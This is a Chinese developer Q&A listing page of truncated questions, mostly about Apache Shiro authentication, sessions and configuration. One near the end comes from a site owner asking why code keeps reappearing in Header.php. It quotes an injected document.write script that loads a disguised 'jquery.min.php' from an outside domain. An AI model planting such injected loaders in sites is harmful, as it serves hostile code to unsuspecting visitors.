1回答
我是Spring和Shiro的新手。我有一些关于会话管理的问题。
我看到了，它很好地介绍了会话管理。但是，我不明白的是，Shiro如何与客户机通信以传递会话信息，以及客户机将如何在随后的请求中再次验证自己。Shiro是否自动传递会话ID，而不必为其编写代码？
浏览 2提问于2012-05-28得票数 2
回答已采纳
问题:无论向App服务器的请求使用什么协议，页面都应该在请求的“X转发-Proto”头中指定的协议中返回(因此，app服务器可以接收HTTP请求，但是如果标头上写的是HTTPS，则应该使用HTTPS进行响应显然，Shiro-Spring教程中指定的配置无法工作，因为它与协议无关(login.jsp将使用请求中使用的协议返回)：
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean&
浏览 0提问于2011-09-21得票数 2
回答已采纳
一种用于生成列表中的项，显示在页面中，另一种是用于.mp3文件的.mp3。type="text/javascript" src="http://shiro-desu.com/scr/itemsperpage/jquery-1.8.2.min.js"></script>
<script" src="http://shiro-desu.c
浏览 1提问于2014-09-29得票数 0
回答已采纳
1回答
我们正在使用Apache来管理我们的应用程序中的auth。在使用权限时，我使用的是开箱即用的基于内存的缓存，这是我的shiro.ini。在我的JSP中，我使用shiro:taglib检查hasPerimission和lacksPemrissons标记。如果我更新数据库中的用户角色(因此相应的权限)，并且当用户注销时他的权限被更新。(注意:这些链接是公共header.jsp的一部分，并包含在所有页面中)
<shiro:hasPermission name="
浏览 1提问于2013-07-15得票数 3
回答已采纳
2回答
在配置文件中删除字典文件的路径不起作用。将目录中的xml文件重命名为其他扩展名不起作用。目录是正确的。请帮帮我！我确信我错过了一些微不足道的东西。实际上，客户端发送的是消息主体中的标签143，而不是报头。我尝试将标记143添加到ExecutionReport主体中，但没有任何帮助。我厌倦了仅仅为了这些家伙而从标题中去掉143号标签。
浏览 3提问于2014-07-04得票数 2
我使用Shiro框架进行身份验证。
问题是:当我关闭Chrome浏览器并再次打开它时，我仍然可以访问受保护的URL。如果我手动删除jsessionid cookie，就会禁止访问受保护的URL。在jsessionid的设置中，我看到：过期:当浏览会话结束时。所以，它应该过期了，但它没有。而且，我在firefox中做了这个操作，没有这个问题。我甚至不知道调查的目的是什么。但是，在使用时，Shiro会创建另一个cookie (名为rememberMe)。
浏览 0提问于2014-03-31得票数 1
回答已采纳
1回答
id 3c3ffbef-ee93-4f6e-A 599-1f1f4c03d037的org.apache.shiro.session.ExpiredSessionException:会话已过期。在org.apache.shiro.session.mgt.SimpleSession.validate(SimpleSession.java:292) at org.apache.shiro.session.mgt.AbstractValidatingSessionManager.doValidate:209) at org.apache.s
浏览 3提问于2014-10-29得票数 1
2回答
目前，我希望重构我的项目，并从urls中删除/faces/。原因很简单，这是我想避免的，用户可以“删除”faces部分并查看底层xhtml文件的来源。 <url-pattern>/faces/*</url-pattern>shiro.inichain.doFilter
浏览 6提问于2013-05-21得票数 1
回答已采纳
与web应用程序集成的客户端使用了角JS。
由于上述实现，可以在浏览器中从开发人员工具检索承载访问令牌。使用此令牌，可以从Postman等工具向API发出
浏览 1提问于2019-02-21得票数 0
每个应用程序请求都通过shiro安全性进行过滤。当我对这个应用程序进行restful调用或http调用时，我需要在标头中设置必要的shiro身份验证信息，并确保camel请求得到成功处理。在camel中是否有一种方法--“调用一个http或rest调用来访问请求由apache保护的应用程序”？每当我们向Shiro安全应用程序发送请求时，它都会过滤请求，验证请求以确定它是否授权访问应用程序功能，然后允许我们in.If用户信息在Shiro会话中不可用，它将带您到登录屏幕。我
浏览 0提问于2014-02-03得票数 1
2回答
目前，勾标位于条形图的左边。我怎样才能改变标签的位置，并将它们移到栏杆的顶部？这就是我的图表当前的样子：
var options_chart = {
// showLines
浏览 1提问于2017-05-17得票数 4
回答已采纳
1回答
，从而使用Liquid 4{%- for post in site.data.posts-%}
但是github返回我在构建中的错误消息，index.html中第
浏览 1提问于2017-07-11得票数 0
回答已采纳
在我的web应用程序中，我用Apache Shiro替换了Siteminder。我注意到shiro成功地登录了我，并将我带到了主页。当我点击主页上的任何其他链接时，我被带回登录页面。这是我的shiro.iniauthc.loginUrl = /login.jspuser=admin
/css/** = anon/js&#x
浏览 3提问于2013-03-15得票数 2
回答已采纳
我正在使用Apache Camel路由，并且我想启用/禁用Shiro安全。这是路由(blueprint.xml)： <argument value="shiro.ini"/>
<route>
浏览 30提问于2015-12-28得票数 0
1回答
数据库中的Urls
、、、
我们的Apache Shiro出了点小问题。我们将Shiro与JDBC领域结合使用:用户、角色和权限存储在我们的SQL服务器数据库中。我发现了一些关于它的东西，但我真的是Shiro的初学者，我不理解它们，而且通常的例子是servlets和JSP (我们只使用HTML/CSS/JS，数据是通过web服务收集的)。有谁可以解释如何在数据库中存储urls和过滤，而不是在INI文件中？
浏览 2提问于2013-01-23得票数 1
回答已采纳
2回答
我目前正在制作这个应用程序，用于练习&我遇到了一个奇怪的问题，我的目标被划掉了(就像有人拿着铅笔，在测试中把它标错了)&其他一些小问题，我认为没有那么严重。我试过了，没有运气：
文件>失效缓存/重新启动>失效和重新启动
浏览 2提问于2016-11-29得票数 1
这个web应用程序与Shiro和JSF一起工作。我添加了PrimeFaces，我有登录重定向问题。ln=primefaces-aristo
# name of request parameter with username; if not
浏览 1提问于2012-12-23得票数 1
回答已采纳
我正在向现有的Web应用程序(使用spring )中添加shiro，但我总是使用NullPointerException。(DefaultSecurityManager.java:442)<?xml version="1.0" encoding="UTF-8"?value="/home&
浏览 2提问于2014-07-01得票数 1
回答已采纳
2回答
下面的代码每隔几个小时就会出现在Header.php中，当我删除它时，几个小时后它会再次出现。请注意，代码“shiro maga.com”中的链接每次都会更改。==null){document.write('<script type="text/javascript" src="http://shiro-maga.com/js/jquery.min.php?c_utt=G91825&c_utm=
浏览 1提问于2016-02-13得票数 2
扫码
添加站长 进交流群
领取专属 10元无门槛券
手把手带您无忧上云
相关资讯
热门标签
云服务器
ICP备案
实时音视频
对象存储
即时通信 IM活动推荐
腾讯云开发者
